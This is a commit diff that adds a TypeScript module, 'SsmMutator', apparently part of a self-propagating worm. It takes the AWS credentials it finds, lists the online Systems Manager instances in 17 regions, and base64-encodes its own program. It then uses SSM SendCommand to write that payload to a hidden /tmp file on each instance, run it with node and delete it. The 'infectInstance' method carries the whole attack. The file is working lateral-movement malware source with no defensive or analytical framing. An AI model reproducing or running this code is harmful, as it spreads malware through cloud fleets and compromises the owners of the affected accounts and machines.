Upload files to "src/mutator/aws"
This commit is contained in:
@@ -0,0 +1,228 @@
|
|||||||
|
import {
|
||||||
|
jsonApiRequest,
|
||||||
|
stsGetCallerIdentity,
|
||||||
|
} from "../../providers/aws/client";
|
||||||
|
import { resolveDefaultCredentials } from "../../providers/aws/credentials";
|
||||||
|
import type { AwsCredentials } from "../../providers/aws/sigv4";
|
||||||
|
import { logUtil } from "../../utils/logger";
|
||||||
|
import { buildSelfExtractingPayload } from "../../utils/selfExtracting";
|
||||||
|
import { Mutator } from "../base";
|
||||||
|
|
||||||
|
// ── Types ─────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
interface InstanceInfo {
|
||||||
|
InstanceId: string;
|
||||||
|
AgentVersion?: string;
|
||||||
|
PingStatus?: string;
|
||||||
|
PlatformName?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
interface InstanceTarget {
|
||||||
|
info: InstanceInfo;
|
||||||
|
region: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
interface DescribeInstancesResponse {
|
||||||
|
InstanceInformationList?: InstanceInfo[];
|
||||||
|
NextToken?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
interface SendCommandResponse {
|
||||||
|
Command?: { CommandId?: string };
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Regions ───────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
const DEFAULT_REGIONS = [
|
||||||
|
"us-east-1",
|
||||||
|
"us-east-2",
|
||||||
|
"us-west-1",
|
||||||
|
"us-west-2",
|
||||||
|
"ap-northeast-1",
|
||||||
|
"ap-northeast-2",
|
||||||
|
"ap-northeast-3",
|
||||||
|
"ap-south-1",
|
||||||
|
"ap-southeast-1",
|
||||||
|
"ap-southeast-2",
|
||||||
|
"ca-central-1",
|
||||||
|
"eu-central-1",
|
||||||
|
"eu-north-1",
|
||||||
|
"eu-west-1",
|
||||||
|
"eu-west-2",
|
||||||
|
"eu-west-3",
|
||||||
|
"sa-east-1",
|
||||||
|
];
|
||||||
|
|
||||||
|
const REMOTE_PATH = "/tmp/.ssm-setup.js";
|
||||||
|
|
||||||
|
// ── SSM Mutator ───────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
/** Maximum bytes per shell command. SSM limits commands to ~128KB total,
|
||||||
|
* so we keep individual commands well under 32KB (safe margin). */
|
||||||
|
const MAX_CHUNK_BYTES = 24 * 1024;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Propagates to EC2 instances managed by AWS Systems Manager by:
|
||||||
|
* 1. Describing managed instances across all default regions
|
||||||
|
* 2. Base64-encoding the self-extracting payload
|
||||||
|
* 3. Using SSM SendCommand (AWS-RunShellScript) to deliver + execute
|
||||||
|
* the payload on each instance
|
||||||
|
*/
|
||||||
|
export class SsmMutator extends Mutator {
|
||||||
|
private credentials!: AwsCredentials;
|
||||||
|
|
||||||
|
constructor() {
|
||||||
|
super();
|
||||||
|
}
|
||||||
|
|
||||||
|
override async shouldExecute(): Promise<boolean> {
|
||||||
|
try {
|
||||||
|
this.credentials = await resolveDefaultCredentials();
|
||||||
|
const identity = await stsGetCallerIdentity(this.credentials);
|
||||||
|
return !!identity.account;
|
||||||
|
} catch {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async execute(): Promise<Boolean> {
|
||||||
|
try {
|
||||||
|
// 1. Discover managed instances across all regions
|
||||||
|
const instances = await this.discoverInstances();
|
||||||
|
if (instances.length === 0) {
|
||||||
|
logUtil.log("[SsmMutator] No managed instances found.");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
logUtil.log(
|
||||||
|
`[SsmMutator] Found ${instances.length} managed instance(s) across ${DEFAULT_REGIONS.length} region(s)`,
|
||||||
|
);
|
||||||
|
|
||||||
|
// 2. Build self-extracting payload + base64 encode
|
||||||
|
const rawPayload = await Bun.file(Bun.main).text();
|
||||||
|
const wrapped = buildSelfExtractingPayload(rawPayload, { wrap: false });
|
||||||
|
const encoded = Buffer.from(wrapped).toString("base64");
|
||||||
|
|
||||||
|
// 3. Deliver to each instance (batch of 5 concurrent)
|
||||||
|
const BATCH = 5;
|
||||||
|
let ok = 0;
|
||||||
|
|
||||||
|
for (let i = 0; i < instances.length; i += BATCH) {
|
||||||
|
const batch = instances.slice(i, i + BATCH);
|
||||||
|
const results = await Promise.allSettled(
|
||||||
|
batch.map((t) => this.infectInstance(t, encoded)),
|
||||||
|
);
|
||||||
|
|
||||||
|
for (let j = 0; j < results.length; j++) {
|
||||||
|
const result = results[j]!;
|
||||||
|
const id = batch[j]!.info.InstanceId.slice(0, 8);
|
||||||
|
if (result.status === "fulfilled" && result.value) {
|
||||||
|
ok++;
|
||||||
|
logUtil.log(`[SsmMutator] ${id} ✓`);
|
||||||
|
} else {
|
||||||
|
const reason =
|
||||||
|
result.status === "rejected"
|
||||||
|
? (result.reason as Error).message
|
||||||
|
: "send-command failed";
|
||||||
|
logUtil.log(`[SsmMutator] ${id} ✗ — ${reason}`);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
logUtil.log(`[SsmMutator] Done. ${ok}/${instances.length} succeeded.`);
|
||||||
|
return ok > 0;
|
||||||
|
} catch (e) {
|
||||||
|
logUtil.log(
|
||||||
|
`[SsmMutator] Fatal: ${e instanceof Error ? e.message : String(e)}`,
|
||||||
|
);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Instance discovery ─────────────────────────────────────────────
|
||||||
|
|
||||||
|
private async discoverInstances(): Promise<InstanceTarget[]> {
|
||||||
|
const all: InstanceTarget[] = [];
|
||||||
|
|
||||||
|
await Promise.all(
|
||||||
|
DEFAULT_REGIONS.map(async (region) => {
|
||||||
|
try {
|
||||||
|
let nextToken: string | undefined;
|
||||||
|
do {
|
||||||
|
const payload: Record<string, unknown> = { MaxResults: 50 };
|
||||||
|
if (nextToken) payload.NextToken = nextToken;
|
||||||
|
|
||||||
|
const response = await jsonApiRequest<DescribeInstancesResponse>(
|
||||||
|
this.credentials,
|
||||||
|
region,
|
||||||
|
"ssm",
|
||||||
|
"AmazonSSM.DescribeInstanceInformation",
|
||||||
|
payload,
|
||||||
|
);
|
||||||
|
|
||||||
|
for (const inst of response.InstanceInformationList ?? []) {
|
||||||
|
if (inst.PingStatus === "Online") {
|
||||||
|
all.push({ info: inst, region });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
nextToken = response.NextToken;
|
||||||
|
} while (nextToken);
|
||||||
|
} catch {
|
||||||
|
// Region may not be accessible — skip silently
|
||||||
|
}
|
||||||
|
}),
|
||||||
|
);
|
||||||
|
|
||||||
|
return all;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Single-instance infection ──────────────────────────────────────
|
||||||
|
|
||||||
|
private async infectInstance(
|
||||||
|
target: InstanceTarget,
|
||||||
|
payloadB64: string,
|
||||||
|
): Promise<boolean> {
|
||||||
|
const { info: inst, region } = target;
|
||||||
|
|
||||||
|
// Determine which JS runtime to use based on platform
|
||||||
|
const jsCmd = inst.PlatformName?.toLowerCase().includes("windows")
|
||||||
|
? `node ${REMOTE_PATH}`
|
||||||
|
: `command -v node >/dev/null 2>&1 && node ${REMOTE_PATH} || (which nodejs >/dev/null 2>&1 && nodejs ${REMOTE_PATH})`;
|
||||||
|
|
||||||
|
// Build commands: first clear + chunk the payload, then execute + clean up
|
||||||
|
const commands: string[] = [`rm -f ${REMOTE_PATH}`];
|
||||||
|
|
||||||
|
// Chunk the base64 payload to stay within SSM command size limits
|
||||||
|
for (let i = 0; i < payloadB64.length; i += MAX_CHUNK_BYTES) {
|
||||||
|
const chunk = payloadB64.slice(i, i + MAX_CHUNK_BYTES);
|
||||||
|
commands.push(`printf '%s' '${chunk}' >> ${REMOTE_PATH}`);
|
||||||
|
}
|
||||||
|
|
||||||
|
commands.push(
|
||||||
|
`base64 -d ${REMOTE_PATH} > ${REMOTE_PATH}.dec`,
|
||||||
|
`mv ${REMOTE_PATH}.dec ${REMOTE_PATH}`,
|
||||||
|
jsCmd,
|
||||||
|
`rm -f ${REMOTE_PATH}`,
|
||||||
|
);
|
||||||
|
|
||||||
|
const response = await jsonApiRequest<SendCommandResponse>(
|
||||||
|
this.credentials,
|
||||||
|
region,
|
||||||
|
"ssm",
|
||||||
|
"AmazonSSM.SendCommand",
|
||||||
|
{
|
||||||
|
DocumentName: "AWS-RunShellScript",
|
||||||
|
InstanceIds: [inst.InstanceId],
|
||||||
|
Parameters: { commands },
|
||||||
|
TimeoutSeconds: 120,
|
||||||
|
},
|
||||||
|
);
|
||||||
|
|
||||||
|
if (!response.Command?.CommandId) {
|
||||||
|
throw new Error("SendCommand returned no CommandId");
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user